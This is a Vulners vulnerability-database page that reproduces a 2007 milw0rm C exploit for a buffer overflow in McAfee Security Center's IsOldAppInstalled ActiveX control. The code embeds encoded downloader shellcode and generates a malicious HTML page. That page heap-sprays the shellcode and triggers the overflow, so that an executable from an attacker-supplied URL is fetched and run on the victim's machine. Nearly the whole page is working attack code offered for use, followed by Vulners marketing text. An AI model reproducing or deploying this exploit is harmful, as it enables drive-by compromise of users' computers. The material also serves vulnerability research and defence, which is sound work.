Vulners
Lucene search
McAfee Security Center IsOldAppInstalled - ActiveX Buffer Overflow
/*
McAfee Security Center IsOldAppInstalled ActiveX Buffer Overflow Vulnerability
Peel the frame from axis,Thanks
Test on Windows2000 and dll version Mcsubmgr.dll 6.0.0.15
Greetz to OYXin, sowhat, Winny Thomas and 0x557 team
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
FILE *fp = NULL;
char *file = "McAfee_exploit.html";
char *url = NULL;
//Downloader shellcode
unsigned char sc[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x3c\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x34\x99\x99\x99\xC3\x12\x6B\xAA"
"\x59\x35\xA4\x01\x99\x99\x99\xEC\x6F\x18\x75\x51\x99\x99\x99\x12"
"\x6D\x10\xCF\xBD\x71\x0C\x99\x99\x99\xAA\x42\x10\x9F\x66\xAF\xF1"
"\x17\xD7\x97\x75\x71\x34\x99\x99\x99\x10\xDF\x91\xF1\xF5\xF5\x99"
"\x99\xF1\xF6\xF7\xB7\xFD\xF1\xEC\xEB\xF5\xF4\xCD\x66\xCF\x91\x10"
"\xDF\x9D\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x11\x99\x99\x99\x10\xDF"
"\x95\x66\xAF\xF1\x01\x67\x13\x97\x71\xE0\x99\x99\x99\x10\xDF\x8D"
"\x66\xAF\xF1\xBC\x29\x66\x5B\x71\xF3\x99\x99\x99\x10\xDF\x81\x66"
"\xEF\x9D\xF1\xAF\x83\xB6\xE9\x71\xC3\x99\x99\x99\x10\xDF\x89\xF3"
"\xFC\xF1\xEA\xB7\xFC\xE1\x10\xFF\x85\x66\xEF\x85\x66\xCF\x81\xAA"
"\x50\xC8\xC8\x66\xEF\x85\x66\xEF\xBD\xC8\x66\xCF\x89\xAA\x50\xC8"
"\x66\xEF\x85\x66\xCF\x8D\x66\xCF\x95\x70\x19\x99\x99\x99\xCC\xCF"
"\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12\xE9\x85"
"\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99\x99\x12"
"\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC"
"\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A"
"\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED"
"\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3"
"\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A"
"\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99\x71\x50"
"\x67\x66\x66";
unsigned char sc_2[] = "\x98";
char * header =
"<!-- McAfee exploit:) Jambalaya-->\n\n"
"<html>\n"
"<object classid=\"clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602\" id='target'></object>\n"
"<body>\n"
"<SCRIPT language=\"javascript\">\n"
"\tvar heapSprayToAddress = 0x05050505;\n"
"\tvar shellcode = unescape(\"%u9090\"+\"%u9090\"+ \n";
char * footer =
"\n"
"var heapBlockSize = 0x400000;\n"
"var payLoadSize = shellcode.length * 2;\n"
"var spraySlideSize = heapBlockSize - (payLoadSize+0x38);\n"
"var spraySlide = unescape(\"%u0505%u0505\");\n"
"spraySlide = getSpraySlide(spraySlide,spraySlideSize);\n"
"heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;\n"
"memory = new Array();\n\n"
"for (i=0;i<heapBlocks;i++)\n{\n"
"\t\tmemory[i] = spraySlide + shellcode;\n}\n"
"var padding = String.fromCharCode(0x05);\n"
"while( padding.length< 500)\n"
"{\npadding +=padding;\n}\n"
"var str = padding.substring(0,500);\n"
"var arg2=\"defaultV\";\n"
"target.IsOldAppInstalled(str, arg2);\n"
"function getSpraySlide(spraySlide, spraySlideSize)\n{\n\t"
"while (spraySlide.length*2<spraySlideSize)\n\t"
"{\n\t\tspraySlide += spraySlide;\n\t}\n"
"\tspraySlide = spraySlide.substring(0,spraySlideSize/2);\n\treturn spraySlide;\n}\n\n"
"</script>\n";
char * trigger_1 =
"</body>\n"
"</html>\n";
// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
int i;
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf("\"\n\"");
fprintf(fp, "%s", "\" +\n\"");
}
else
{
printf("\"");
fprintf(fp, "%s", "\"");
}
}
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
printf("\";\n");
fprintf(fp, "%s", "\");\n");
fflush(fp);
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
int sc_len = 0;
int n;
if (argc < 2)
{
printf("#######################################\n");
printf("#\tMcAfee Security Center IsOldAppInstalled exploit by Jambalaya:>\n");
printf("#\ttest on Windows2000 and dll version Mcsubmgr.dll 6.0.0.15:>\n");
printf("#\tReference : http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/054183.html\n");
printf("#\t100%% successful\? who knows\;\)\n");
printf("\r\nUsage: %s <URL> [htmlfile]\n", argv[0]);
printf("\r\nE.g.: %s http://www.fakename.com/hello.exe exploit.html\r\n\n", argv[0]);
exit(1);
}
url = argv[1];
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
return;
}
printf("[+] download url:%s\n", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);
fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}
//build evil html file
fprintf(fp, "%s", header);
fflush(fp);
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
sc_len += strlen(url);
memcpy(buf+sc_len, sc_2, 1);
sc_len += 1;
PrintPayLoad((char *)buf, sc_len);
fprintf(fp, "%s", footer);
fflush(fp);
fprintf(fp, "%s", trigger_1);
fflush(fp);
printf("[+] exploit write to %s success!\n", file);
}
// milw0rm.com [2007-05-10]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 May 2007 00:00Current
0.3Low risk
Vulners AI Score0.3